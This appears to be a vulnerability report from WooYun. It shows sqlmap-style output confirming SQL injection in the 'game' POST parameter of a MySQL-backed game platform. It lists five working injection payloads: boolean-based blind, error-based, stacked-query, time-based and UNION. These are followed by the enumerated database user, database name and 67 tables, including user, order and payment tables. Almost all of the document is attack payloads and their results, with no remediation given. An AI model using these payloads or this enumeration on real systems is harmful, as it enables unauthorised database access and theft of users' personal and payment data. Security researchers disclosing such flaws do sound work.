WooYun.org

---
Parameter: game (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: game=1' RLIKE (SELECT (CASE WHEN (1793=1793) THEN 1 ELSE 0x28 END)) AND 'MKxr'='MKxr&way=2
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: game=1' AND (SELECT 5800 FROM(SELECT COUNT(*),CONCAT(0x716b627171,(SELECT (ELT(5800=5800,1))),0x71786a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'nhoY'='nhoY&way=2
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: game=1';(SELECT * FROM (SELECT(SLEEP(5)))lWuP)#&way=2
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: game=1' AND (SELECT * FROM (SELECT(SLEEP(5)))seqL) AND 'qkVC'='qkVC&way=2
    Type: UNION query
    Title: MySQL UNION query (random number) - 21 columns
    Payload: game=-9030' UNION ALL SELECT 1170,1170,1170,1170,1170,1170,1170,1170,1170,1170,1170,1170,1170,1170,CONCAT(0x716b627171,0x59554853784c564d4853,0x71786a7a71),1170,1170,1170,1170,1170,1170#&way=2
---
back-end DBMS: MySQL 5.0
current user: [email protected]
Database: web7k_sy
[67 tables]
+---------------------+
| open_chanel_users   |
| open_channel        |
| open_channelinfo    |
| open_cp             |
| open_cpapp          |
| open_download_count |
| open_game           |
| open_gonggao        |
| open_orders         |
| open_pay_channel    |
| open_paycount       |
| open_reg_phone      |
| open_union          |
| open_user           |
| open_user0          |
| open_user1          |
| open_user10         |
| open_user11         |
| open_user12         |
| open_user13         |
| open_user14         |
| open_user15         |
| open_user16         |
| open_user17         |
| open_user18         |
| open_user19         |
| open_user2          |
| open_user20         |
| open_user21         |
| open_user22         |
| open_user23         |
| open_user24         |
| open_user25         |
| open_user26         |
| open_user27         |
| open_user28         |
| open_user29         |
| open_user3          |
| open_user30         |
| open_user31         |
| open_user32         |
| open_user33         |
| open_user34         |
| open_user35         |
| open_user36         |
| open_user37         |
| open_user38         |
| open_user39         |
| open_user4          |
| open_user40         |
| open_user41         |
| open_user42         |
| open_user43         |
| open_user44         |
| open_user45         |
| open_user46         |
| open_user47         |
| open_user48         |
| open_user49         |
| open_user5          |
| open_user50         |
| open_user6          |
| open_user7          |
| open_user8          |
| open_user9          |
| open_user_config    |
| open_user_ext       |
+---------------------+